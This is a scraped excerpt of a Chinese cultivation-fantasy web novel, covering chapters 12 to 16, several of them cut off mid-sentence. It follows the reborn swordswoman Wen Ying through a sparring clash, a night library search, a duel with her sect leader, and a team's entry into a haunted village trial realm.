这里的动静太过引人注目,就连袁明都看了过来。 “怎么回事?”他踱步过来,问道。 孙奇先是一礼,而后指向闻樱:“见过教习,我们想与姜伞切磋,这女人非要过来横插一脚,要我们与她先打。” 袁明冷淡的目光落在闻樱身上,上下打量:“是这样吗?” 闻樱,姜伞。 两个人入学的记录都是凡间走了狗屎运才拜入锁灵渊的人,而孙奇从小就是剑术世家的传人。 思至此,他嘴角微微翘起,道: “那你们就打一下,权当切磋了。你不会输的吧,孙奇。” “自然不会!” 孙奇小时候的剑术就是跟袁明打下的基础,跟袁教习也是老相识,多少了解袁明的脾性。 他似乎也很不喜欢闻樱。 “刀剑无眼,难免会伤着,你们注意些,我也想借此摸摸你们的底细。” 孙奇听出袁明深意,喜道:“弟子明白。” 闻樱饶有兴趣地看了袁明一眼,对孙奇说道:“那你们三个一起上吧,我赶着吃饭。” 一开始为闻樱说话的那位师姐提醒道:“闻樱,孙奇从小就学剑,你别妄自托大,伤着自身。” “多谢师姐。” 只可惜,她也从小学剑。 “你口气这么大,等下别被我打的哭天喊地,我可不会因为你是女人,就让着你。” 闻樱笑了:“那请你用尽全力,我也不会因为你是男人,就让着你。” 孙奇大喝一声,持剑冲刺而来。 闻樱以手中木剑硬接这一剑,毫无技巧,亦没有用一丝灵气。 如果是姜伞,她还收着力。那是因为她欠姜伞钱,总还是有些拿人手软。 但对孙奇,就没必要留情面。 孙奇这一剑就像是砍在石头上一样,震得他虎口发麻。 闻樱将剑向他压去,收手,横斩。 木剑无刃,不以切割力为伤害,所以对力量的要求更高,常用来给入门弟子练习手感。 围观的弟子甚至都没有看到她出剑的速度,就见孙奇被她踢飞出去。 弟子惊呼,迅速远离孙奇。 一招,他甚至一招都没有在这个女人手中坚持下来。 “说了,你们一起来。” 孙奇剩下两个朋友,面面相觑,下定决心,拔剑砍来。 闻樱回身,罗裙翻涌,乌发被夜风撩动,头上珠翠宛如神女血泪。 她抽出姜伞手中木剑,握在手中。 这一次她在剑上注入灵气。 木剑分崩,却震出两道浩荡剑气。 两个人还没到她面前就被剑气击飞。 三人勉力站起,尤其是孙奇,脸青一阵白一阵。 他看着一滴汗都没出的闻樱,感觉受到了奇耻大辱。 眼中恨意满溢。 呛啷一声,他拔出自己的佩剑。 开过刃的冷剑在月光下耀目非常。 他举起剑,向闻樱斩来。 师姐双目大睁,惊恐地捂住嘴。 动荡之中,发出一声悠长的剑鸣。 青光划破夜色,斩出泠泠剑气,如翠玉击石。 剑气打在孙奇剑上,他连人带剑都飞了出去。 姜伞拦在闻樱面前,收剑入鞘。 闻樱目光紧随其后落在他的剑鞘里面,但已经晚了,剑身完全隐没其中。 青色的薄剑? 她之前从未见过。 “大胆!” 袁明上前两步,怒斥:“切磋而已,点到为止,你们怎可如此凶狠,伤及同门!” 闻樱收回落在姜伞身上的目光,转而看向袁明,奇道: “教习,是你说刀剑无眼,难免会伤着,难道伤着的人换成他们,伤人者换成我,就不可原谅起来了吗?” “还敢顶嘴?罪加一等!你们两个人,给我跪到藏经阁,面壁思过!” * “哎哟,慢一点,揉这么用力想捏死我啊!”孙奇将给他揉腿的弟子一脚踹出去,自己抱着腿疼着呲牙咧嘴。 目光落在两个并排跪着的人身上,男人身子笔直,少女跪的歪歪斜斜,他心情又大好,可谓扬眉吐气。 “哎,你跪好点,懂不懂什么叫面壁,什么叫惩罚?” 孙奇指着闻樱,耀武扬威道。 闻樱一笑,眼神却向刀子一样割在孙奇身上:“让我跪好点可以,只要我禁闭解除,就日日找你切磋一番,你就算躲到魔域都没用。” 孙奇毛骨悚然,抖了抖,感觉肚子又疼了。 他摆了摆手,没好气道:“算了,你就这么跪着吧,教习让我来盯着你们行刑,别指望我会给你们防水。说好三个时辰,一丁点都不能给我少!” “你让她起身,她的我替她跪了。” 孙奇看向姜伞,拍手道:“好一个情深意切,本来也不是不行,但是你把少爷我打成那样,还想让我给你行个方便?做梦!” “你们俩,就一起跪着吧,这也才过了半个时辰。你俩也别怨恨,怪就怪你俩只是拜入锁灵渊的凡人弟子,谁让少爷我有个好爹娘呢,自己命贱,就多多认命吧!” “拼爹也只敢找凡人拼,你可真是出息。”娇横之声自山坡下而来。 闻樱扭头看去,只见妙音提着裙摆,一步步走来。 她走到孙奇面前,道:“我要监督他们面壁,你给我滚。” 孙奇认出了林妙音,赶忙站起来,一脸为难:“这不合适吧?” “孙奇,你有几个胆子敢跟我作对?你爹娘都没资格跟我作对,识相点就赶紧滚。” 孙奇脸色变得很难看。 一向只有他仗势欺人的份,什么时候被别人仗势欺人过。 可他拿林妙音没办法,人家爹是锁灵渊第一大门派的掌门,而且还是唯一的那种,给他几个胆子都不敢跟林妙音,又或者说林妙音背后的林舟作对。 他收拾东西,跑的比谁都快。 林妙音见孙奇走远了,拉着李却扇一屁股坐到台阶上:“起来呀!人都走了,跪给谁看,我们可不是父母高堂,可当不起你俩大礼。” 闻樱起身,林妙音又看姜伞:“怎么,不是闻樱叫你起,你不肯起啊?袁明那狗东西,收了孙家的好处,让孙奇在饮冰楼内横着走,欺负了不少没有家世背景的子弟,早就看他不顺眼了。” “这要换成以前,袁明给我提鞋都不配,哪还轮得到他欺负你们。” 闻樱揉了揉膝盖 12. 断善恶 《经常帮捉妖的漂亮师妹》全本免费阅读 翌日,闻樱在与妙音她们吃饭的时候,听说了一个消息。 “你们知道吗,孙奇和他的小跟班,昨晚走夜路自己摔着了,摔得浑身是伤,跌在了断善恶里面,捞上来的时候身上都没几块好肉了,连夜被千机门接了回去。” “天呐!”发出虚假的一声感慨的是闻樱。 “断善恶是什么?”李却扇不解道。 “断善恶从外观上来看,不过是一道湍流,甚少有人踏足。它的前身据说是神女之泪,千年之前,飞升者众。其中就有一位咒修师祖,以兼爱天下而闻名,现在她的画像还在敬神庙里面挂着呢。” 李却扇举手:“敬神庙又是何物?” “你刚来锁灵渊兴许还不知道,敬神庙里面挂着历代飞升的仙人,每逢岁末,锁灵渊弟子都要前去祭拜,据说有机会能得圣人显灵,降恩赐福。” “好厉害,还是咒修。”李却扇不禁感慨道。 “对呀,只是听说她屡屡问世,荡尽天下不平事,在凡间也有美名,应当是功德早就积够了的,却不知为何,一直没有飞升上界。后来她收了一个徒弟,这个徒弟可不是等闲之辈,而是魔域之主,名叫百里澹。” “百里澹,居然是他?” 闻樱早在藏经阁中就看过关于此人的介绍,不过仅有只言片语,似乎被人刻意删除,却没想到在这里听到此人的奇闻异事。 “你听说过他啊,也是,他还是有点名气的,后世常将他用作话本主角,什么霸道魔主狠狠宠,还有风流魔主俏师父啥的,都是以他为范本。” “第一本我看过,文笔太差。第二本我也看过,名字有点难以入目,但内容编的还是不错的,有够矫情的,看的人很上头。”十鸢在脑海里点评道。 闻樱抿了抿唇,没有说她。 “他潜伏在师祖身边,师祖对他是悉心教导,毫无保留,他却狼子野心,恩将仇报,夜夜都给师祖下药,待到实力恢复,更是直接将为他所暗害,虚弱不堪的师祖绑到了魔域,张灯结彩,红绸漫天,说要娶师祖为妻。” “太狂了吧这也。”闻樱啧了一声,难以置信。 “谁说不是呢,再后来师祖不知为何,突然顿悟,雷云压境,正是要飞升之兆,百里澹疯狂自伤,乞求她留下来,不要离去。” “然后呢?师祖飞升了吗?” “当然飞升了,不然怎么有后面的神女泪呢?师祖才不管他哭闹,飞升之后,流下了悲悯的泪水,那滴泪就变成了断善恶,她说她并不后悔收留百里澹,如果她不出手,百里澹会被万妖噬啮,尸骨无存,她无法坐视不管,但她以己为鉴,不愿后世再为魔所骗,此泪落地,化作溪流,生生不息。” “凡过此河之人,善者毫发无损,妖魔、抑或是贪嗔痴妒之人,都会遭受凌迟之痛。只不过人都有私欲,亦有痴念,哪有那种完全无欲无求无嗔无怨之人,所以大家对此地都敬而远之,孙奇这种人掉下去,不死也残,哪怕请来南长老,只怕也无力回天。” “那百里澹呢?师祖飞升之后,他去哪里了呢?” “这个我就不知道了,不过前任魔主死后,下一任魔主才会出世,百里澹应当是死了吧。” 十鸢道:“确实是死了,且就死在断善恶,神女泪里面,这种人,死得其所罢了。他对不起魔域,更对不起对他施舍善意的神女。” 李却扇听闻百里澹死了,唏嘘:“唉,何必呢,自古修魔相恋,人魔相恋皆是孽缘,所得后代也为三界不容,流离失所,很是可怜。” 林妙音戳米饭的手一顿: “谁说不是呢。这孙奇也是有够倒霉的,不知道大半夜跑断善恶去做什么?昨日叫他猖狂,跌下去就老实了。” 闻樱扒拉饭菜,淡淡笑道:“许是夜半失心疯了吧,难不成还是别人把他扔下去的?” “也是。” 闻樱想起玉虚境,又道:“既然决定下山问世,我还有一事要办。之前在玉虚境中,境主托付我寻找一人,名为姜雉,在锁灵渊修道,你们可曾听过此人?” 两人都摇摇头。 “确定是锁灵渊的弟子吗?”林妙音问了句。 “境主所言,应当做不得伪。” 林妙音从腰上解下一枚小巧的令牌:“锁灵渊内,所有弟子名讳、来历,去处皆由经世堂记录成册,交由玄剑宗藏经阁保管,外门弟子,如无批令,不得擅入。白日人多眼杂,入夜你拿着此令,低调些去藏经阁找找便是。” 闻樱接过令牌,会心一笑:“谢谢师姐。” * 是夜,闻樱带上令牌,往玄清宗去。 锁灵渊与其名并不相符。 渊者,深也。 锁灵渊却是一座遗世独立在辽远海域的连绵山脉。 位于其中心之山,难以望其尽头,直插云霄。 玄剑宗的敬神庙位于此山之上,供奉先祖,聆听神意。 再往下,便是十三峰,分别由十二位长老所统辖。 仅次于敬神庙的便是丹霞峰,其山之主顾怀若。 管絮曾经所辖紫极峰,不知她走后,又被何人接手。 除此之外,还有一峰名为风陵渡,此地终年积雪,寒霜欺骨,鲜有人至。 门内弟子犯下错失,戒律堂为了惩戒这些人,就让他们来风陵渡静修思过。 闻樱便是此地常客。 除了问世以外的、可自由支配的时间,她大部分都在此地度过。 一跪就是十二年。 直到她死去的那一年。 也许某种意义上也是一种解脱。 玄剑宗的藏经阁位于两者之间的中点,闻樱小时常来。 她轻车熟路地避开所有设下禁制的地方,用林妙音的令牌悄无声息进入藏经阁。 藏经阁和印象中基本一致。 里面灯火通明,书架足有十余丈那么高,想将这里的书读完,怕是一辈子都难。 宿玉一亮,闻樱从袖中取出,上面是林妙音发来的消息,问她可到了? 闻樱回复她已经站在里面了。 “我帮你打听到了,你想要找的东西在东边第二个书架,但具体位置,还得你自己探查。” “明白,你已经帮我够多了,多谢。” 闻樱收起宿玉,来到左边第二个书架,踩到了龟壳身上。 每一个书架前都伏卧着一只巨龟。 此名海引。 原本生活在海中,被锁灵渊的人从海底打捞出来,加以利用。 只要为他设定好结尾,再将它放到起始的位置,他便会在两点之间来回往复。 本是海中的引路人,却摇身一变成了藏经阁的管理员。 闻樱在龟壳上坐下,海引载着她缓慢向上浮动而去。 每到一层,她便在龟壳上敲两下,海引便会停下来。 这里的每本书都设下过禁制,因为几百年前,曾有人混进此地,火烧藏经阁,玄剑宗损失惨重。 长老吸取教训,设下咒法,防止藏书付之一炬。 她快速抽阅面前的书籍,将 13. 八咒 《经常帮捉妖的漂亮师妹》全本免费阅读 闻樱赶在天亮前,出了玄剑宗的大门。 天色微暗,再有半个时辰就会天亮。 她行色匆匆,向饮冰楼赶去,好在赶着天亮之前回来了。 却还不等她进饮冰楼大门,一道金光砸在她脚下。 闻樱提步后撤,堪堪躲开。 不远处,传来女子沉静的声音:“何人夜行?” 闻樱缄默,一时找不到恰当的词来形容自己这绝佳的运气。 才出龙潭,又入虎穴。 真的有人换号重来,运气还是这么差吗? 她本人是不是被锁灵渊拉黑了? 要不要这么倒霉! 以她对管絮的了解,八百年不见得早起一天,偏生今日就是那八百零一年。 闻樱暗道麻烦,足尖轻点,想要跑路。 罡风携带着杀气向她而来,闻樱扭身躲开,长发被燎掉一绺。 她索性转身,面纱将她下半张脸遮住。 管絮五指成爪,想要来擒她肩膀。 少女灵活地躲开,眼底荧光涌现,声音冷肃:“战车·封疆。” 顷刻之间,管絮感到整个人被一股难以抗衡的巨力从闻樱身边抽离。 两人脚下线条蔓延,形成方正棋盘,两人各居一边,闻樱面前是铜车铁马,如万军压境。 在战马高昂的嘶鸣中,管絮微微惊讶。 她看着自己身下纵横笔直的棋盘,语气是少有的兴奋。 “咒修,且懂二十四咒。” 咒术四重境界,攻昧。 细分为二十四咒。 其中最强的八咒,分别是愚人,无常,魔罗,神女,战车,君主,金乌,审判。 锁灵渊内厉害的咒修管絮没有不认识的,更准确些,就没有没打过的,而面前这个鬼鬼祟祟的人不包含在内。 她出手就能使出攻昧八咒,不容小觑。 虽然很明显,她是想将管絮拖在这场手谈战局中,不欲多战。 而且她能调动的灵力有限,不会超过五阶。 可这样,就更有趣了,一个绝不会超过五阶的人,却能够使用攻昧八咒,意味着她与咒术先天感应强的离谱。 “有意思。” 管絮将她视为真正的对手。 她抬手,手中出现一把巨型弓箭。 上面燃着冥蓝色的火焰,照彻管絮眼底的兴奋。 闻樱看到那把弓箭的时候,心彻底死了。 管絮是要动真格了。 这是神弓千月,是管絮的法器,箭出咒行,咒行法随。 女人在万马喧嚣中,将弓箭竖起,另一只手铮然拨动弓弦。 “金乌·炽焰。” 蓝色的弓箭带着灼灼耀光,向闻樱这个棋盘上的君王射去。 闻樱暗道不好,抽身离开,弓箭带着要摧毁一切的凶意,破掉她的战局。 棋盘如纸燃烧。 火焰铺满天地。 闻樱扭头就跑,管絮一把扣住她的肩膀,将她抓到自己面前,一看。 “怎么是你?” 管絮松开手,脸上是意料之外的茫然:“你看见我跑什么啊?” 她将焚烧天地的火焰收起。 闻樱眨眨眼,委屈道:“我晚上出来,怕被抓到,就没敢吱声。” “我又不会吃人,你怕什么,我还以为是魔界之人。” 管絮险些被气笑,看她疼得呲牙,又问道,“痛吧?” “还好。”闻樱挤出一抹笑。 “我想着去风雷崖打坐,出来看你行迹鬼祟,还以为从混进来邪修魔道。你是正儿八经的正道弟子,行事端正些,别那么鬼祟。” 她一巴掌拍在闻樱背上,闻樱连忙立正站好。 “不过,你的咒术是哪里学的?” 闻樱愣住。 她的咒术就是跟管絮学的。 “我是自己看书学的。”她随意扯了个谎。 “什么书?我竟不知什么书记载了攻昧八咒,还能被你一个门都没入的人看懂?” “玄剑宗藏经阁的书。”闻樱露出人畜无害的笑容,将令牌举起,“我求林妙音将令牌给我,去玄剑宗偷偷看书,这不刚回来就被英明神武的掌门给逮了个正着。” 她双手合十,求道:“还请掌门保密。” 管絮上下打量她,忽然笑道:“很好,你懂得去占玄剑宗的便宜,这很好,很合我心意。” “……”闻樱尴尬一笑,心想她死后一定发生了什么大事,能让管絮如此讨厌玄剑宗。 “我记得你没有修咒术对吧?” 闻樱心中有了些不好的预感。 “那就把咒术加上吧,届时来找我,我教你什么才是真正的战车,什么又是真正的千乘之国。” 闻樱声音微弱地抗议道:“可我已经上了五门课了。” 五门课是一天排课的上限,不是管絮的上限。 “这样啊,那你把剑术划去吧。学剑的没几个好东西,不学也好,来跟我学咒术,不会亏待你。” 管絮拍拍她肩膀,道:“我很看好你,课上见。” 闻樱感觉心已经凉透。 她究竟还要犯多久的太岁。 * 管絮回到饮冰楼,派掌事将袁明找来。 袁明不解其意,问管事,管事也不知管絮要说什么。 能发生什么事呢?新生入学也已结束,只需按部就班的上课,他实在想不到管絮能因为什么事找他。 等他到时,管事为他推开门,自己找了个角落听候吩咐。 袁明忐忑地进去,看到管絮正倚在榻上,靠着窗沿,有一搭没一搭地抽着一只水烟,紫色的纱裙如盛开的水莲,簇拥在座榻。 屋内烟雾缭绕,有一股浸淫多年的烟草香气。 “袁教习,你来了。”管絮望着窗外,淡淡道。 “是,不知掌门叫我来是有何要事吩咐?” 管絮磕了磕烟杆,问道:“你课上有个叫闻樱的女修,是吗?” 袁明心下一紧,面容不自然起来。 “可是她到掌门面前说了什么?” 管絮没想到两人之间听起来似乎还有些龌龊,她饶有兴致地咬着烟杆,模糊不清地说了一句:“也没说什么,同我说了些近况而已。” 袁明掩下眼底的恼意,道:“掌门,此女顽劣,她说的话并不可信。” 管絮哦了一声,问:“我倒要听听她如何顽劣,有多顽劣?” 袁明将那日发生的事避重就轻说了一番:“原本只是学生之间的切磋,她又是以话相激,又是挑拨离间,对同窗之间痛下杀手,除了她还有另一人,姜伞,两人似有旧交,仗着自己有两份本事,对孙奇等人大打出手,几次三番欲索其性命。我未曾追究,只是略施小惩,她便来找您说三道四,此女心机深重,断不可信。” 管絮安静片刻,若有所思道:“是吗?” 姜伞。 姜扶雪。 她不知闻樱的为人秉性,但她不会不知道姜扶雪。 她与姜扶雪的师父也算是旧识,姜扶雪此人如何,她比袁明更清楚。 袁明又反反复复说了几句,无非就是明指两人为人顽劣。 管絮盈盈吐出一口雾,垂下眼睫:“饮冰楼弟子顽劣不堪,品行低劣,给先 14. 第 14 章 《经常帮捉妖的漂亮师妹》全本免费阅读 闻樱将去林妙音的住所,将令牌还给她。 林妙音拽了拽她下面红绳束起的小辫,轻快道:“怎么了这是?看起来不甚高兴的样子。没找到叫姜雉的人是吗?” “实在没找到的话,我可以试着帮你推算出有她气息的地方,也不至于让你两眼一抓瞎。” 闻樱打起精神,问李却扇:“能有几分把握?” “……五分吧,这个道法我没能学全,成功率不高。”说罢,又害怕看到闻樱失望的样子,连忙道,“不过我可以多试几次,总能成功。” 闻樱取下头上的棠花,递给李却扇:“那就请你帮帮我了却扇。” 李却扇愣住。 “你把这个就直接交给我吗?” 这个花闻樱从玉虚境回来就随身携带,要么簪在头上,要么放在书袋里,这朵花也神奇的保持不败不灭的状态,任谁都能看出此花的不凡,应当是类似于法器之类的东西。 就这么给她了? “这是我离开玉虚境时,从玉虚境主人那里得到的,我猜想应该是本体的一部分。姜雉既然是玉虚境主人的姐姐,两人有血脉勾连,用这个兴许能感应到一二。” 李却扇将花握在手里,郑重地点了点头。 林妙音撑着脑袋,看看闻樱,又看看李却扇,笑起:“这下可以讲讲你昨晚发生什么了吧?” “在玄剑宗的时候还好,回来的路上遇到了掌门,差点被掌门当成邪修给灭了。” 李却扇:“你们打起来了?” 林妙音:“那你没受伤吧?” “打起来了,但掌门发现是我,所以我并未受伤。她将我的剑术划去了,日后让我去上咒术课。” “这……”林妙音犹豫道,“我听却扇说,掌门咒术很强,跟她学,必然不会亏。但你不学剑术真的可以吗?” 在玉虚境时,她能看出闻樱是用剑的老手。 如此半道弃之,转学咒术,是不是有些太亏了。 “剑平日多练,必不会生疏,只是……” 闻樱长叹一声,真切发问:“掌门真的有把我当人吗?” “也许是把你当牛。”林妙音叹息。 “也许是把你当驴。”李却扇随之。 “那还是驴吧,驴肉贵一些。”闻樱感觉人生暗淡。 上一世卷生卷死便罢了,都重来一世了,她愈发在卷的道路上狂奔起来。 李却扇安慰她:“换个方向看,也许是之前掌门认识的某个人就能做到这种程度,所以掌门认为你也可以,才给你把课排这么满呢。” “别也许了,基本就是这个原因。我从前在玄剑宗认识一位师姐,学起来是真的有过之而无不及,掌门与那位师姐关系甚密,所以觉得你也可以吧。” 闻樱:“……” 我该怎么跟你解释,你口中的那个师姐也是我。 李却扇问道:“这么努力,那位师姐现在一定功成名就了吧?” 林妙音忽然湿了眼角,神色哀伤。 “她死了。” 林妙音轻声说道:“我没能帮到她。她死的时候我没能帮到她,她死后我也没能帮到她。” “哪怕走到哪里,人人都捧着我,其实我心里明白,我也只是一个色厉内荏的纸老虎而已。从小到大,我没能真正的帮到过任何人。” 李却扇不知所措起来。 一双手覆在了林妙音颤抖的手上。 很冷,彻骨的冰凉。 林妙音看向闻樱。 “你不必如此自责。这世间绝大部分事情不是单靠一个人的力量就能改变的,譬如日出东方,又譬如天要下雨,更别提改变一人既定的命运。你不是天道,又怎能逆天改命,力挽狂澜?你师姐若是在天有灵,不会怪你的。” 以身祭剑是她自己的选择,这得拐多少个弯才能怪到林妙音头上。 “对呀,而且为什么人一定要帮到别人,对别人有用呢?人光是好好活着,就已经很了不起了。”李却扇也揽着她,温声安慰。 林妙音反握紧闻樱的手:“谢谢你们,有你们真好。” 眼见着林妙音好起来,两人方才松了口气。 * 管絮拿着手中的报名册,一页一页地看过去。 看到闻樱几人报名,只是挑了挑眉,并无不悦。 闻樱四人乖乖站着,一副聆听教诲的模样。 她看完,将册子放到一旁,说道:“去历练历练也好,况且桐花村也不算远,你们在里面耽误个把月,回来也能赶得上千宗寻剑。” “掌门,我就不必参加寻剑了吧。”林妙音挠挠头,说道。 “参加,怎么不参加,你改修体术,还需要一个趁手的武器。千宗寻剑又不单单只有剑,还有其他法器,随机掉落。什么武器适合你,你去问问长孙教习,到时候多留神些。” 说完,她又点了点却扇:“你也是,从前我给你的法器并不如你自己去找一柄趁手的。万事讲究缘分,法器也是如此。至于闻樱你,有什么拿什么就行,只要能让灵器认主,拿多少都无所谓。” “弟子明白。” “不过,那桐花村道行虽不高,却也好歹是个凶境,你们若是遇到危险,必要时候砸碎这个玉环,我会进去救你们 。” “可这进去之后,您都不知道我们谁是谁,这怎么救啊?”林妙音问。 凶境之中,境主有能力改变试炼者的外貌,管絮进去还真不一定能找到他们四个。 “怎么救?”管絮跟看傻子似的,一脸这还用说的表情,“当然是武力推平了。” 林妙音沉默。 她就多余问这一嘴。 强者。吾等甘拜下风。 “教习那边我会替你们去说,三月三报完名,你们当日就要下山,应当是锁灵渊第一批参加问世的弟子,桐花村呢,又是一块肥肉,不少人盯着这一茬,我给你们提个醒,顾怀若的儿子也要下桐花村这个境,你们在里面若是遇见了,不必跟他客气。凶境之内,死生不论,保证自己别受伤就好。不过你们要小心,我有保命法器给你们,不代表顾怀若没有,凡事还是收敛锋芒好一些。” 交代完,管絮挥挥袖:“你们走吧,姜伞你留一下。” 闻樱三人微微福身,离开了这里。 闻樱走到门口时,顿了一下,回头看了姜伞一眼。 而后为他们关上了门。 屋子里安静下来,只留他们两个人。 “她们三个人,我都很喜欢,有一个人在桐花村受伤,我都会很伤心,但我还是放手让她们尽管去做,你应当知道为什么。” 管絮捧起茶,细细呷了一口。 茶香袅袅,雾气氤氲了她的眼。 “有你在,我总能放心些,虽然我不知你为何不好好呆在东极岛,非要拜入我这无名小派门下,但因着你师父的交情,我也未曾多言。我离开了玄剑宗,现如今只想过过平静日子,想来你也不会生出事端来,是吗?” “是。” “不过你师父年纪大了,也很担心你,你若无事便时常回去看看,免得他哪天死在东极岛上都没人知道。” 这言语中多有怨怼,姜伞假装没听出来,只点头称是。 管絮懒懒点了点头,示意他退下。 姜伞为她把门带上。 管絮拂袖,原本平放在桌上的宿玉飞到她面前,投射出画面。 她掀起眼皮,方看了一眼,瞳孔放大,面上带了薄怒:“你怎么不穿衣服?” 男人的声音自画面那头传来,宛如钟山玉碎,“我在沐浴,沐浴怎么穿衣服?” “你不会挂掉吗?” “挂你的通讯,我怕你直接传阵来东极 15. 第 15 章 《经常帮捉妖的漂亮师妹》全本免费阅读 问世并没有规定小队的具体配置如何,只要不超过五人,都是规则允许的。但年年都有人分析问世前十的队伍配置,其中积分胜率最高的配置通常是两位剑修,一位体修,余下可在符、咒、辅三者之间任选两种。 器修通常在队伍中起到的效果没有上述三者大,常用作后勤。 不过锁灵渊内有名气的器修也只占很小部分,而且很考验人的履历,一般熬出头也已经年纪不小了,早出了参加问世的年纪,所以可忽略不计。 两位剑修是必须的配置,剑修自古以来从未改变其版本答案的地位,一把轻剑,一把重剑,缺一不可。 闻樱使得就是重剑。 林妙音刚知道的时候,险些惊掉下巴。 如此瘦弱清减的身躯,天天扛一把重剑,真是人不可貌相。 若是等她看到闻樱真正的佩剑婴宁剑,恐怕会更加震惊。 因为婴宁剑是当世当之无愧的名家重剑,未佩剑鞘的情况下就有五十多斤,所以闻樱与人对剑很喜欢硬抗,硬砍,之前在玉虚境,那把剑才会遍体鳞伤。 她对力量的把控前世也是当之无愧的第一,所以之前哪怕不用灵气,孙奇这种人一桶水不满,半桶水晃荡的人根本不是她的对手, 林妙音本来还在头疼需要到哪里找用重剑的弟子,却没想到闻樱就是一个现成的。 所以只需要再找一个轻剑,他们就能组成一个小队。 轻剑倒是好找,闻樱与姜伞走得近,她便去问了姜伞,果然姜伞听到闻樱在,从善如流地加入了进来。 四人组成了的小队问世第一天就下山了。 桐花村在凡间舆图上的位置的确跟林妙音所说一般,距离临安镇不算远。 通过法阵离开锁灵渊后,进入凡间的第一站就是临安镇,再往西御剑一柱香的工夫,就是桐花村的位置。 可四人落地之后,此地一片荒芜,没有半个人影。 仿佛被什么东西人为抹去了存在。 “奇怪,就是这里没错啊。”林妙音将那张舆图翻来覆去的看,位置就是这里没错。 闻樱蹲下身,捻了一指土,在指尖搓开。 “舆图没有错,这里有妖气残留。凶境形成之后,会和原本的位置有少许出入,是境主为了免受修士打扰而做出的位置改变,我们需要找改变后的位置。” “怎么找?”林妙音不解。 姜伞在帮闻樱擦手指,闻言淡淡道:“很多种方法可以追查凶境位置。咒修的十方八卦阵,符修的追踪符,又或者感应四周灵气,妖气也是灵气的一种,寻找灵气异常浓郁之地。” “我来吧。” 却扇取出一枚八卦镜,在上面写下一个符咒,正是姜伞所说的十方八卦阵。 中间灵气凝结成的箭头为他们指引方向。 “往这里走。” 几人跟着李却扇,按照十方八卦阵的指示,往桐花村而去。 直到箭头停下,众人打量四周,也不是很像桐花村。 “箭头不动了,应当离这里不远,要么就是此地。” “但看着也不像啊。”林妙音四下看了看。 四人被箭头带到了一条乡间小道上,和方才的荒芜空地不同,此地比屋连甍,延伸入浓稠不见五指的夜色中。 屋舍低矮,看上去荒凉落败,里面黑漆漆的,什么都看不清。 单从外观上来看,应当许久未有人住了。 “要不再往前走走?”李却扇提议道,“我们如果今晚找不到入口的话,也得先找一个地方落脚,不然晚上外面很危险。” 闻樱面沉如水,轻轻摇摇头。 她总感觉有什么东西在无尽黑夜中幽幽盯着她。 这种强烈的被注视感让人毛骨悚然。 她回头,来路一片昏暗,并没有异样。 起码盯着他们的,不是来自于他们的后方。 前路森冷莫明,尽管让人很害怕,但也不是注视感的来源。 那么问题只能出现在道路两旁的这些屋子上。 她的直觉一向很准。 她点亮火折子,往路旁的屋子走去。 几人见状,连忙跟上。 火光在幽咽的夜色中颤动,微弱的火光仿佛下一瞬就会被吹灭。 闻樱护着火,靠近屋舍。 火光照亮了面前的这座屋子。 也将里面紧贴着窗子的人脸照的一清二楚。 林妙音几人吓得浑身寒毛竖起。 里面的人目光阴翳,如湿冷粘腻吐着蛇信子的毒蛇,阴冷地窥伺着外来者。 他们的面色僵冷,肤色有一种淡淡的,不正常的青灰色。 闻樱捏了一个咒,咒文悄无声息地落在窗上,顺着窗爬进去,落在人的肩膀上。 闻樱看到他们肩膀上和头上都有一盏烛火,很幽微,但确实存在。 他们是人,起码现在还是人。 是人就好说,闻樱敲了敲窗,抬高了声音,问道:“大婶,桐花村怎么走呀?” 里面的人死死盯着她,许久,其中一个女人抬手,指了一个方向。 闻樱笑起来,仿佛面前不是怪异的人,而是寻常好心的大娘。 “谢谢婶子。” 闻樱起身,招手:“走吧。” “可信吗?”林妙音觉得不自在极了,这也不怪她多心,实在是里面的人看起来跟鬼没区别啊。 “是人,我看了他们身上的魂灯。三盏,不多不少。” 林妙音抚平胳膊上的鸡皮疙瘩:“他们可真有本事,活着比死人还可怕。” 一行人顺着大娘指的道路往前走。 路过的屋子看不出任何异常。 但是经过方才一遭,闻樱知道这些屋子里面的人都在盯着他们。 在黑暗处,如鬼魅一般,贴在窗子上幽幽监视着他们。 好在几人里面只有林妙音胆子小一些,李却扇从小就做这些鬼神法事,见多识广,心中坦然,林妙音跟闻樱几人走在一起,深吸了一口气。 满满的阳气。 她感觉自己没那么害怕了。 等到道路两旁的屋舍消失,闻樱终于看到了路边有一块石碑。 她上前,拿着火折子照亮上面的字。 上面写着桐花村。 她感觉眼前这一切有一种莫名的熟悉感,但来不及细想,便失去了意识。 * “翠花死哪儿去了?回来灶都是冷的,这小贱蹄子上哪儿野去了?”怒骂声离闻樱很远,随着时间的流逝慢慢清晰起来。 有人脚步匆匆,朝她这边走来,尖利刻薄的骂声也逐渐清晰起来。 闻樱睫毛颤动,还不等她醒来,就被人抓着胳膊拽到地下,脸上被人扇了一耳光。 闻樱睁开眼睛,却险些被唾沫星子糊了一脸。 她重新闭上眼,往后挪了挪躲开这狂风暴雨,心想这境主口味还真挺重。 然而男人见她敢躲,更加愤怒,抬手又是一巴掌。 “我和你娘辛辛苦苦下地干活,不懂在家烧饭啊?你以为你是哪儿来的千金大小姐呢,投来咱们家享清福的?隔壁王麻子都说了,上次看到你晚上偷偷去桐树下祭拜,怎么?是觉得自己投胎投的不好,转到我们家来了是吧?你这小贱 16. 第 16 章 《经常帮捉妖的漂亮师妹》全本免费阅读 进了厨房,闻樱到处翻了翻,发现厨房空空荡荡,基本没什么东西。 她打开墙上的橱柜,在里面找到了一罐晒干的飧饭,倒在锅里,用水泡上,又在橱柜的角落找到了一坛咸菜。 她将罐子打开,酸涩的味道盈满鼻腔。 里面腌了一些不知道什么动物的肠子,颜色黢黑,难以辨认。 闻樱捏着鼻子,夹了一碟咸菜出来。 这还不太好糊弄差事,闻樱又到处找了些菜出来,菜看上去蔫嗒嗒,也不知放了多久。 有了菜,还需要水洗菜做饭。 闻樱提了个桶出去,放在地上。 男人和女人不知道去了哪里,院子里此时空无一人。 闻樱走到井边,往井里看了一眼。井里有热气,冬天水并不会冻上。 她转动辘轳,发出一阵让人牙酸的声音。 她硬着头皮往上汲水。 这具身体才是十三四岁的小孩,常年吃不饱饭,没什么力气。 闻樱费了好大劲,才打了水上来。 深井水面经此动作,惊起微微波澜。 闻樱正要提起来,鼻间却闻到了一股不寻常的味道。 桶里面的水散发着一股若有似无的,令人作呕的铁锈腥气。 闻樱皱着眉,将水泼了一些在地上。浅淡的红色沾染了地上的积雪,凝结成淡色的冰。 这井里面往外冒的,根本不是水,而是血。 闻樱攀着井沿,往下看去。 方才不知道,才没有留神。 